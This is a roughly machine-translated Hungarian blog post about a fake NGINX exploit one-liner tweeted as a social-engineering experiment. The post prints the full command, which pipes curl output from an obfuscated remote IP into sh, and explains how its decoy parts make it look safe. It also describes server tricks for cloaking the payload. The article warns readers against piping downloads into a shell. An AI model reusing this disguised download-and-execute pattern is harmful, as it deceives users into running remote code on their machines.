Jegyzet. ford.:
TL;DR: Semmilyen körülmények között ne használjon fájlfolyamatokat sh vagy bash nyelven. Ez egy nagyszerű módja annak, hogy elveszítse az uralmat a számítógépe felett.
Szeretnék megosztani veletek egy rövid történetet egy komikus PoC exploitról, amely május 31-én készült. Azonnal megjelent a hírre reagálva
Miután befejeztem a curl-ben egy új obfuszkációs technikán való munkát, idéztem az eredeti tweetet, és „kiszivárogtattam egy működő PoC-t”, amely egyetlen kódsorból állt, amely állítólag kihasználja a felfedezett sebezhetőséget. Persze ez teljes hülyeség volt. Feltételeztem, hogy azonnal lelepleznek, és legjobb esetben is kapok pár retweetet (na jó).
Azt azonban nem tudtam elképzelni, mi történt ezután. Tweetem népszerűsége az egekbe szökött. Meglepő módon jelenleg (moszkvai idő szerint június 15. 00:1) kevesen vették észre, hogy ez hamisítvány. Sokan úgy újratweetelnek, hogy egyáltalán nem ellenőrizték (nem beszélve arról, hogy csodálják a gyönyörű ASCII grafikát, amit kiad).
Nézd csak, milyen szép!
Bár ezek a hurkok és színek nagyszerűek, egyértelmű, hogy az embereknek kódot kellett futtatniuk a gépükön, hogy láthassák őket. Szerencsére a böngészők ugyanúgy működnek, és azzal a ténnyel együtt, hogy nem igazán akartam jogi bajba keveredni, a webhelyembe temetett kód csak visszhanghívásokat indított anélkül, hogy megpróbált volna további kódot telepíteni vagy végrehajtani.
Kis kitérő:
curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../../%00/nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh%00<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost
Társadalmi-elektronikus tervezés (SEE) – több, mint adathalászat
A biztonság és az ismertség volt ennek a kísérletnek a fő része. Azt hiszem, ezek vezettek a sikeréhez. A parancssor egyértelműen a biztonságra utalt a "127.0.0.1"-re (a jól ismert localhostra) hivatkozva. A Localhost biztonságosnak tekinthető, és a rajta lévő adatok soha nem hagyják el a számítógépet.
Az ismertség volt a kísérlet második kulcsfontosságú SEE összetevője. Mivel a célközönség elsősorban a számítógépes biztonság alapjait ismerő emberekből állt, fontos volt, hogy a kódot úgy hozzuk létre, hogy annak egyes részei ismerősnek és ismerősnek (tehát biztonságosnak) tűnjenek. A régi exploit fogalmak elemeinek kölcsönzése és szokatlan módon kombinálása nagyon sikeresnek bizonyult.
Az alábbiakban az egysoros részletes elemzése olvasható. Ezen a listán minden visel kozmetikai jellegű, és gyakorlatilag semmi sem szükséges a tényleges működéséhez.
Milyen összetevőkre van igazán szükség? Ez -gsS
, -O 0x0238f06a
, |sh
és magát a webszervert. A webszerver nem tartalmazott rosszindulatú utasításokat, egyszerűen parancsok segítségével szolgálta ki az ASCII grafikát echo
-ban található forgatókönyvben index.html
. Amikor a felhasználó beírt egy sort a |sh
középen, index.html
betöltve és végrehajtva. Szerencsére a webszerver őrzőinek nem voltak rossz szándékai.
-
../../../%00
— a címtáron túlmutatót jelöl; -
ngx_stream_module.so
— egy véletlenszerű NGINX modul elérési útja; -
/bin/sh%00<'protocol:TCP'
- állítólag indulunk/bin/sh
a célgépen, és irányítsa át a kimenetet a TCP-csatornára; -
-O 0x0238f06a#PLToffset
- titkos összetevő, kiegészítve#PLToffset
, hogy úgy nézzen ki, mint egy memóriaeltolás, amelyet a PLT valamilyen módon tartalmaz; -
|sh;
- egy másik fontos töredék. Át kellett irányítanunk a kimenetet az sh/bash-re, hogy végrehajthassuk a támadó webszerverről érkező kódot.0x0238f06a
(2.56.240.x
); -
nc /dev/tcp/localhost
- egy dummy, amelyben a netcat utal/dev/tcp/localhost
hogy minden újra biztonságosnak tűnjön. Valójában nem csinál semmit, és benne van a szépség sorban.
Ezzel véget ért az egysoros szkript dekódolása és a „társadalmi-elektronikus tervezés” (bonyolult adathalászat) szempontjainak megvitatása.
Webszerver konfigurációja és ellenintézkedések
Mivel az előfizetőim túlnyomó többsége infosec/hacker, úgy döntöttem, hogy a webszervert egy kicsit ellenállóbbá teszem a részükről érkező „érdeklődés” kifejezésekkel szemben, csak hogy a srácoknak legyen mit csinálni (és jó móka lenne beállít). Nem fogom itt felsorolni az összes buktatót, mivel a kísérlet még folyamatban van, de itt van néhány dolog, amit a szerver megtesz:
- Aktívan figyeli a terjesztési kísérleteket bizonyos közösségi hálózatokon, és különféle előnézeti miniatűröket helyettesít, hogy a felhasználót a hivatkozásra való kattintásra ösztönözze.
- Átirányítja a Chrome-ot/Mozilla-t/Safarit/etc-t a Thugcrowd promóciós videóra a shell-szkript megjelenítése helyett.
- Figyeli a behatolás/nyilvánvaló hackelés NYILVÁNOS jeleit, majd elkezdi átirányítani a kéréseket az NSA-kiszolgálókra (ha!).
- Telepít egy trójai programot, valamint egy BIOS-rootkitet minden olyan számítógépre, amelyen a felhasználók normál böngészőből keresik fel a gazdagépet (csak vicceltem!).
Az antimerek kis része
Ebben az esetben az egyetlen célom az volt, hogy elsajátítsam az Apache néhány funkcióját - különösen a kérések átirányításának klassz szabályait -, és arra gondoltam: miért ne?
NGINX Exploit (valódi!)
Feliratkozás a
Forrás: will.com